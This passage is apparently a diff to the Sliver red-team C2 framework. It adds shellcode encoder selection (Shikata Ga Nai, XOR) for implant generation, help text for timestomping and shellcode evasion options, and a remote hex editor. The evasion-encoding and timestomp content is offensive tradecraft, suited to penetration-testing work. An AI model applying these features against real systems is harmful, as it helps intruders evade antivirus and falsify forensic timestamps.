-		data = encodeResp.Data
 	}
 
 	_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)

client/command/generate/profiles-generate.go

@@ -20,8 +20,10 @@ package generate
 
 import (
 	"os"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/spf13/cobra"
 )
 
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
-		if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
-			profile.Config.SGNEnabled = !SGNDisabled
+		// Override shellcode encoder if explicitly requested.
+		if cmd.Flags().Changed("shellcode-encoder") {
+			rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+			rawEncoder = strings.TrimSpace(rawEncoder)
+			if rawEncoder == "" {
+				con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
+				return
+			}
+
+			normalized := normalizeShellcodeEncoderName(rawEncoder)
+			if normalized == "none" {
+				profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
+				profile.Config.SGNEnabled = false
+			} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
+				con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
+			} else {
+				encoderMap, err := fetchShellcodeEncoderMap(con)
+				if err != nil {
+					con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
+					return
+				}
+				encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
+				if !ok {
+					compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
+					if len(compatible) == 0 {
+						con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
+					} else {
+						con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
+					}
+					return
+				}
+				profile.Config.ShellcodeEncoder = encoder
+				profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			}
 		}
 		_, err := compile(implantName, profile.Config, save, con)
 		if err != nil {

client/command/generate/profiles.go

@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
 		properties["obsymbols"] = "disabled"
 	}
 
-	if config.SGNEnabled {
-		properties["sgn"] = "enabled"
-	} else {
-		properties["sgn"] = "disabled"
+	properties["shellcodeencoder"] = "n/a"
+	if config.Format == clientpb.OutputFormat_SHELLCODE {
+		encoder := config.ShellcodeEncoder
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+		}
+		properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
+			clientpb.ShellcodeEncoder_NONE:           "none",
+			clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+			clientpb.ShellcodeEncoder_XOR:            "xor",
+			clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+		}[encoder]
+		if properties["shellcodeencoder"] == "" {
+			properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
+		}
 	}
 
 	reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
 		properties["obsymbols"],
 	})
 	tw.AppendRow(table.Row{
-		"Shikata Ga Nai (SGN) is",
-		properties["sgn"],
+		"Shellcode encoder is",
+		properties["shellcodeencoder"],
 	})
 
 	con.PrintInfof("Obfuscation\n")

client/command/help/long-help.go

@@ -47,38 +47,44 @@ var (
 		consts.GenerateStr:      generateHelp,
 		consts.StageListenerStr: stageListenerHelp,
 
-		consts.MsfStr:              msfHelp,
-		consts.MsfInjectStr:        msfInjectHelp,
-		consts.PsStr:               psHelp,
-		consts.PingStr:             pingHelp,
-		consts.KillStr:             killHelp,
-		consts.LsStr:               lsHelp,
-		consts.CdStr:               cdHelp,
-		consts.PwdStr:              pwdHelp,
-		consts.CatStr:              catHelp,
-		consts.DownloadStr:         downloadHelp,
-		consts.GrepStr:             grepHelp,
-		consts.HeadStr:             headHelp,
-		consts.TailStr:             tailHelp,
-		consts.UploadStr:           uploadHelp,
-		consts.MkdirStr:            mkdirHelp,
-		consts.RmStr:               rmHelp,
-		consts.ProcdumpStr:         procdumpHelp,
-		consts.ElevateStr:          elevateHelp,
-		consts.RunAsStr:            runAsHelp,
-		consts.ImpersonateStr:      impersonateHelp,
-		consts.RevToSelfStr:        revToSelfHelp,
-		consts.ExecuteStr:          executeHelp,
-		consts.ExecuteAssemblyStr:  executeAssemblyHelp,
-		consts.ExecuteShellcodeStr: executeShellcodeHelp,
-		consts.MigrateStr:          migrateHelp,
-		consts.SideloadStr:         sideloadHelp,
-		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadAliasHelp,
-		consts.PsExecStr:           psExecHelp,
-		consts.BackdoorStr:         backdoorHelp,
-		consts.SpawnDllStr:         spawnDllHelp,
-		consts.MountStr:            mountHelp,
+		consts.MsfStr:               msfHelp,
+		consts.MsfInjectStr:         msfInjectHelp,
+		consts.PsStr:                psHelp,
+		consts.PingStr:              pingHelp,
+		consts.KillStr:              killHelp,
+		consts.LsStr:                lsHelp,
+		consts.CdStr:                cdHelp,
+		consts.PwdStr:               pwdHelp,
+		consts.CatStr:               catHelp,
+		consts.EditStr:              editHelp,
+		consts.HexEditStr:           hexEditHelp,
+		consts.DownloadStr:          downloadHelp,
+		consts.GrepStr:              grepHelp,
+		consts.HeadStr:              headHelp,
+		consts.TailStr:              tailHelp,
+		consts.UploadStr:            uploadHelp,
+		consts.MkdirStr:             mkdirHelp,
+		consts.RmStr:                rmHelp,
+		consts.ChtimesStr:           chtimesHelp,
+		consts.ProcdumpStr:          procdumpHelp,
+		consts.ElevateStr:           elevateHelp,
+		consts.RunAsStr:             runAsHelp,
+		consts.ImpersonateStr:       impersonateHelp,
+		consts.RevToSelfStr:         revToSelfHelp,
+		consts.ExecuteStr:           executeHelp,
+		consts.ExecuteAssemblyStr:   executeAssemblyHelp,
+		consts.ExecuteShellcodeStr:  executeShellcodeHelp,
+		consts.MigrateStr:           migrateHelp,
+		consts.SideloadStr:          sideloadHelp,
+		consts.TerminateStr:         terminateHelp,
+		consts.AliasesStr:           loadAliasHelp,
+		consts.PsExecStr:            psExecHelp,
+		consts.BackdoorStr:          backdoorHelp,
+		consts.SpawnDllStr:          spawnDllHelp,
+		consts.MountStr:             mountHelp,
+		consts.ShikataGaNai:         shikataGaNaiHelp,
+		consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
+		consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
 
 		consts.WebsitesStr:                                  websitesHelp,
 		consts.ScreenshotStr:                                screenshotHelp,
@@ -176,8 +182,8 @@ You can also stack the C2 configuration with multiple protocols:
 
 
 [[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
-Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
-with the --os and --format flags.
+Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
+and Linux ELF. The output format is controlled with the --os and --format flags.
 
 To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
 	generate --mtls foo.example.com 
@@ -193,6 +199,19 @@ To output a Linux ELF executable file, the following command would be used:
 	generate --os linux --mtls foo.example.com 
 
 
+[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
+When generating shellcode (--format shellcode), you can tune the shellcode generator:
+	--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
+	--shellcode-compress        # Enable aPLib compression (windows and macOS)
+	--shellcode-entropy 1|2|3   # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
+	--shellcode-exitopt 1|2|3   # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
+	--shellcode-bypass 1|2|3    # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
+	--shellcode-headers 1|2     # (windows only) PE headers: 1=overwrite (default), 2=keep
+	--shellcode-thread          # (windows only) Unmanaged EXE: run entrypoint as a new thread
+	--shellcode-unicode         # (windows only) Unmanaged DLL: pass Unicode command line
+	--shellcode-oep <uint32>    # (windows only) Override original entry point (0=default)
+
+
 [[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
 DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process. 
 This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt 
@@ -298,9 +317,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
 	rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
 [[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
 
+	chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
+[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
+
+[[.Bold]][[.Underline]]Time Formats[[.Normal]]
+Default (datetime): "2006-01-02 15:04:05"
+--unix: 1704067200
+--unix-ms: 1704067200000
+--rfc3339: 2024-01-01T00:00:00Z
+--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
+
+[[.Bold]][[.Underline]]Examples[[.Normal]]
+chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
+chtimes --unix /tmp/file 1704112496 1704112556
+chtimes --unix-ms /tmp/file 1704112496000 1704112556000
+chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
+chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
+`
+
 	catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path> 
 [[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
 
+	editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
+[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
+[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
+[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
+[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
+
+	hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
+[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
+[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
+[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
+[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
+
 	downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
 [[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
 [[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +434,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
 Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
 	generate --format shellcode
 `
+	shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
+[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
+[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
+like architecture, iterations, and bad characters.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+Encode x64 shellcode with 3 iterations:
+	shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
+
+Avoid bad chars and write to a file:
+	shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
+
+[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
+
+	shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
+[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+List encoders and supported architectures:
+	shellcode-encoders
+`
+
+	shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
+[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
+architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+Encode a single file with shikata_ga_nai:
+	shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
+
+Encode multiple files and write outputs to a directory:
+	shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
+
+Avoid bad characters with SGN:
+	shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
+`
 
 	migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
 [[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`

client/command/hexedit/commands.go

@@ -0,0 +1,37 @@
+package hexedit
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the hex-edit command.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	hexEditCmd := &cobra.Command{
+		Use:     consts.HexEditStr + " <remote path>",
+		Short:   "Hex edit a remote file",
+		Long:    help.GetHelpFor([]string{consts.HexEditStr}),
+		Args:    cobra.ExactArgs(1),
+		GroupID: consts.FilesystemHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			HexEditCmd(cmd, con, args)
+		},
+	}
+
+	flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
+		f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
+		f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	carapace.Gen(hexEditCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("path to the remote file to hex edit"),
+	)
+
+	return []*cobra.Command{hexEditCmd}
+}

client/command/hexedit/editor.go

@@ -0,0 +1,713 @@
+package hexedit
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/util"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/charmbracelet/lipgloss"
+	"golang.org/x/term"
+)
+
+type editorMode int
+
+const (
+	modeNormal editorMode = iota
+	modeHexEdit
+	modeASCIIEdit
+	modeCommand
+)
+
+type exitAction int
+
+const (
+	actionNone exitAction = iota
+	actionQuit
+	actionSaveQuit
+)
+
+const bytesPerLine = 16
+
+type editorResult struct {
+	Data     []byte
+	Modified bool
+	Action   exitAction
+	Force    bool
+}
+
+type editorModel struct {
+	data          []byte
+	original      []byte
+	modified      []bool
+	modifiedCount int
+	cursor        int
+	top           int
+	width         int
+	height        int
+	mode          editorMode
+	command       string
+	commandPrefix rune
+	pending       rune
+	dirty         bool
+	forceQuit     bool
+	action        exitAction
+	filename      string
+	message       string
+	clearMessage  bool
+	nibbleSet     bool
+	nibbleValue   byte
+}
+
+var (
+	cursorStyle         = lipgloss.NewStyle().Reverse(true)
+	modifiedStyle       = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
+	modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
+	statusStyle         = lipgloss.NewStyle().Reverse(true)
+	lineStyle           = lipgloss.NewStyle()
+)
+
+func newEditorModel(data []byte, filename string, offset int) *editorModel {
+	copyData := append([]byte(nil), data...)
+	model := &editorModel{
+		data:          copyData,
+		original:      append([]byte(nil), data...),
+		modified:      make([]bool, len(copyData)),
+		mode:          modeNormal,
+		filename:      filename,
+		commandPrefix: ':',
+	}
+	if offset > 0 && offset < len(copyData) {
+		model.cursor = offset
+	}
+	return model
+}
+
+func (m *editorModel) Init() tea.Cmd {
+	if m.width == 0 || m.height == 0 {
+		if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
+			m.width = w
+			m.height = h
+		} else {
+			m.width = 80
+			m.height = 24
+		}
+		m.ensureCursorVisible()
+	}
+	return nil
+}
+
+func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
+	switch msg := msg.(type) {
+	case tea.WindowSizeMsg:
+		m.width = msg.Width
+		m.height = msg.Height
+		m.ensureCursorVisible()
+		return m, nil
+	case tea.KeyMsg:
+		if m.clearMessage {
+			m.message = ""
+			m.clearMessage = false
+		}
+		if msg.Type == tea.KeyCtrlC {
+			m.action = actionQuit
+			return m, tea.Quit
+		}
+		switch m.mode {
+		case modeCommand:
+			return m.handleCommand(msg)
+		case modeHexEdit:
+			return m.handleHexEdit(msg)
+		case modeASCIIEdit:
+			return m.handleASCIIEdit(msg)
+		default:
+			return m.handleNormal(msg)
+		}
+	}
+	return m, nil
+}
+
+func (m *editorModel) View() string {
+	if m.width == 0 || m.height == 0 {
+		if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
+			m.width = w
+			m.height = h
+		} else {
+			m.width = 80
+			m.height = 24
+		}
+		m.ensureCursorVisible()
+	}
+
+	textHeight := m.textHeight()
+	var b strings.Builder
+	for i := 0; i < textHeight; i++ {
+		lineIndex := m.top + i
+		b.WriteString(m.renderLine(lineIndex))
+		if i < textHeight-1 {
+			b.WriteByte('\n')
+		}
+	}
+
+	if m.height < 2 {
+		return b.String()
+	}
+
+	b.WriteByte('\n')
+	b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
+
+	if m.height < 3 {
+		return b.String()
+	}
+
+	b.WriteByte('\n')
+	b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
+	return b.String()
+}
+
+func (m *editorModel) result() editorResult {
+	data := append([]byte(nil), m.data...)
+	return editorResult{
+		Data:     data,
+		Modified: m.dirty,
+		Action:   m.action,
+		Force:    m.forceQuit,
+	}
+}
+
+func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+		m.command = ""
+		m.commandPrefix = ':'
+	case tea.KeyEnter:
+		m.executeCommand(strings.TrimSpace(m.command))
+		m.command = ""
+		m.mode = modeNormal
+		m.commandPrefix = ':'
+		if m.action != actionNone {
+			return m, tea.Quit
+		}
+	case tea.KeyBackspace:
+		m.command = popRune(m.command)
+	case tea.KeyRunes:
+		m.command += string(msg.Runes)
+	}
+	return m, nil
+}
+
+func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+		m.nibbleSet = false
+	case tea.KeyBackspace:
+		if m.nibbleSet {
+			m.nibbleSet = false
+			return m, nil
+		}
+		m.moveLeft()
+	case tea.KeyLeft:
+		m.moveLeft()
+		m.nibbleSet = false
+	case tea.KeyRight:
+		m.moveRight()
+		m.nibbleSet = false
+	case tea.KeyUp:
+		m.moveUp()
+		m.nibbleSet = false
+	case tea.KeyDown:
+		m.moveDown()
+		m.nibbleSet = false
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			val, ok := hexNibble(r)
+			if !ok {
+				continue
+			}
+			if !m.nibbleSet {
+				m.nibbleValue = val << 4
+				m.nibbleSet = true
+				continue
+			}
+			m.setByte(m.nibbleValue | val)
+			m.nibbleSet = false
+			m.moveRight()
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+	case tea.KeyLeft:
+		m.moveLeft()
+	case tea.KeyRight:
+		m.moveRight()
+	case tea.KeyUp:
+		m.moveUp()
+	case tea.KeyDown:
+		m.moveDown()
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			if r < 0 || r > 0xFF {
+				continue
+			}
+			m.setByte(byte(r))
+			m.moveRight()
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.pending = 0
+	case tea.KeyLeft:
+		m.moveLeft()
+	case tea.KeyRight:
+		m.moveRight()
+	case tea.KeyUp:
+		m.moveUp()
+	case tea.KeyDown:
+		m.moveDown()
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			if m.handleNormalRune(r) {
+				break
+			}
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleNormalRune(r rune) bool {
+	if m.pending != 0 {
+		handled := true
+		switch m.pending {
+		case 'g':
+			if r == 'g' {
+				m.gotoTop()
+			} else {
+				handled = false
+			}
+		default:
+			handled = false
+		}
+		m.pending = 0
+		if handled {
+			return true
+		}
+	}
+
+	switch r {
+	case 'h':
+		m.moveLeft()
+	case 'j':
+		m.moveDown()
+	case 'k':
+		m.moveUp()
+	case 'l':
+		m.moveRight()
+	case '0':
+		m.moveLineStart()
+	case '$':
+		m.moveLineEnd()
+	case 'i':
+		m.mode = modeHexEdit
+		m.nibbleSet = false
+	case 'a':
+		m.mode = modeASCIIEdit
+	case 'x':
+		m.setByte(0x00)
+	case 'g':
+		m.pending = 'g'
+	case 'G':
+		m.gotoBottom()
+	case ':':
+		m.mode = modeCommand
+		m.command = ""
+		m.commandPrefix = ':'
+	}
+
+	return false
+}
+
+func (m *editorModel) executeCommand(cmd string) {
+	if cmd == "" {
+		return
+	}
+
+	if isNumericOffset(cmd) {
+		if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
+			m.gotoOffset(int(value))
+			return
+		}
+	}
+
+	switch strings.ToLower(cmd) {
+	case "q":
+		m.action = actionQuit
+	case "q!":
+		m.action = actionQuit
+		m.forceQuit = true
+	case "wq", "x":
+		m.action = actionSaveQuit
+	case "w":
+		m.message = "Use :wq to upload and exit"
+		m.clearMessage = true
+	default:
+		m.message = fmt.Sprintf("Unknown command: %s", cmd)
+		m.clearMessage = true
+	}
+}
+
+func (m *editorModel) renderLine(lineIndex int) string {
+	totalWidth := m.textWidth()
+	if totalWidth <= 0 {
+		return ""
+	}
+
+	if lineIndex >= m.totalLines() {
+		return lineStyle.Width(totalWidth).Render("~")
+	}
+
+	lineStart := lineIndex * bytesPerLine
+	hexCells := make([]string, bytesPerLine)
+	asciiCells := make([]string, bytesPerLine)
+
+	for i := 0; i < bytesPerLine; i++ {
+		idx := lineStart + i
+		if idx >= len(m.data) {
+			hexCells[i] = "  "
+			asciiCells[i] = " "
+			continue
+		}
+		byteVal := m.data[idx]
+		hexRaw := fmt.Sprintf("%02x", byteVal)
+		if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
+			hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
+		}
+		asciiRaw := string(printableByte(byteVal))
+		isModified := m.isModified(idx)
+		if idx == m.cursor {
+			if isModified {
+				hexCells[i] = modifiedCursorStyle.Render(hexRaw)
+				asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
+			} else {
+				hexCells[i] = cursorStyle.Render(hexRaw)
+				asciiCells[i] = cursorStyle.Render(asciiRaw)
+			}
+			continue
+		}
+		if isModified {
+			hexCells[i] = modifiedStyle.Render(hexRaw)
+			asciiCells[i] = modifiedStyle.Render(asciiRaw)
+			continue
+		}
+		hexCells[i] = hexRaw
+		asciiCells[i] = asciiRaw
+	}
+
+	var b strings.Builder
+	b.WriteString(fmt.Sprintf("%08x", lineStart))
+	b.WriteString(": ")
+	for i := 0; i < bytesPerLine; i++ {
+		if i == 8 {
+			b.WriteByte(' ')
+		}
+		b.WriteString(hexCells[i])
+		if i < bytesPerLine-1 {
+			b.WriteByte(' ')
+		}
+	}
+	b.WriteString("  |")
+	for i := 0; i < bytesPerLine; i++ {
+		b.WriteString(asciiCells[i])
+	}
+	b.WriteString("|")
+
+	return lineStyle.Width(totalWidth).Render(b.String())
+}
+
+func (m *editorModel) statusLine() string {
+	mode := "NORMAL"
+	switch m.mode {
+	case modeHexEdit:
+		mode = "HEX"
+	case modeASCIIEdit:
+		mode = "ASCII"
+	case modeCommand:
+		mode = "COMMAND"
+	}
+	fileName := baseName(m.filename)
+	if fileName == "" {
+		fileName = "[No Name]"
+	}
+	modified := ""
+	if m.dirty {
+		modified = " [+]"
+	}
+	cursor := m.cursor
+	return fmt.Sprintf(" %s  %s  Off 0x%08x (%d)  Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
+}
+
+func (m *editorModel) commandLine() string {
+	if m.mode == modeCommand {
+		return ":" + m.command
+	}
+	if m.message != "" {
+		return m.message
+	}
+	switch m.mode {
+	case modeHexEdit:
+		return "ESC: normal  hex: 0-9/a-f  :wq save+quit  :q quit"
+	case modeASCIIEdit:
+		return "ESC: normal  type to edit bytes  :wq save+quit  :q quit"
+	default:
+		return "i: hex edit  a: ascii edit  h/j/k/l move  x zero  :wq save+quit  :q quit"
+	}
+}
+
+func (m *editorModel) textHeight() int {
+	if m.height <= 2 {
+		return 1
+	}
+	return m.height - 2
+}
+
+func (m *editorModel) textWidth() int {
+	if m.width <= 0 {
+		return 1
+	}
+	return m.width
+}
+
+func (m *editorModel) totalLines() int {
+	if len(m.data) == 0 {
+		return 1
+	}
+	return (len(m.data) + bytesPerLine - 1) / bytesPerLine
+}
+
+func (m *editorModel) ensureCursorVisible() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		m.top = 0
+		return
+	}
+	if m.cursor < 0 {
+		m.cursor = 0
+	}
+	if m.cursor >= len(m.data) {
+		m.cursor = len(m.data) - 1
+	}
+
+	line := m.cursor / bytesPerLine
+	height := m.textHeight()
+	if line < m.top {
+		m.top = line
+	} else if line >= m.top+height {
+		m.top = line - height + 1
+	}
+	if m.top < 0 {
+		m.top = 0
+	}
+	maxTop := m.totalLines() - height
+	if maxTop < 0 {
+		maxTop = 0
+	}
+	if m.top > maxTop {
+		m.top = maxTop
+	}
+}
+
+func (m *editorModel) moveLeft() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor > 0 {
+		m.cursor--
+	}
+}
+
+func (m *editorModel) moveRight() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor < len(m.data)-1 {
+		m.cursor++
+	}
+}
+
+func (m *editorModel) moveUp() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor >= bytesPerLine {
+		m.cursor -= bytesPerLine
+	}
+}
+
+func (m *editorModel) moveDown() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor+bytesPerLine < len(m.data) {
+		m.cursor += bytesPerLine
+	}
+}
+
+func (m *editorModel) moveLineStart() {
+	if len(m.data) == 0 {
+		return
+	}
+	line := m.cursor / bytesPerLine
+	m.cursor = line * bytesPerLine
+}
+
+func (m *editorModel) moveLineEnd() {
+	if len(m.data) == 0 {
+		return
+	}
+	line := m.cursor / bytesPerLine
+	end := (line+1)*bytesPerLine - 1
+	if end >= len(m.data) {
+		end = len(m.data) - 1
+	}
+	m.cursor = end
+}
+
+func (m *editorModel) gotoTop() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		return
+	}
+	m.cursor = 0
+}
+
+func (m *editorModel) gotoBottom() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		return
+	}
+	m.cursor = len(m.data) - 1
+}
+
+func (m *editorModel) gotoOffset(offset int) {
+	if len(m.data) == 0 {
+		m.message = "Empty file"
+		m.clearMessage = true
+		return
+	}
+	if offset < 0 || offset >= len(m.data) {
+		m.message = fmt.Sprintf("Offset out of range: %d", offset)
+		m.clearMessage = true
+		return
+	}
+	m.cursor = offset
+	m.ensureCursorVisible()
+}
+
+func (m *editorModel) setByte(value byte) {
+	if len(m.data) == 0 {
+		m.message = "Empty file"
+		m.clearMessage = true
+		return
+	}
+	if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
+		return
+	}
+	wasModified := m.modified[m.cursor]
+	orig := m.original[m.cursor]
+	m.data[m.cursor] = value
+	if value == orig {
+		if wasModified {
+			m.modified[m.cursor] = false
+			if m.modifiedCount > 0 {
+				m.modifiedCount--
+			}
+		}
+	} else if !wasModified {
+		m.modified[m.cursor] = true
+		m.modifiedCount++
+	}
+	m.dirty = m.modifiedCount > 0
+}
+
+func printableByte(b byte) byte {
+	if b >= 32 && b <= 126 {
+		return b
+	}
+	return '.'
+}
+
+func (m *editorModel) isModified(idx int) bool {
+	if idx < 0 || idx >= len(m.modified) {
+		return false
+	}
+	return m.modified[idx]
+}
+
+func hexChar(n byte) byte {
+	if n < 10 {
+		return '0' + n
+	}
+	return 'a' + (n - 10)
+}
+
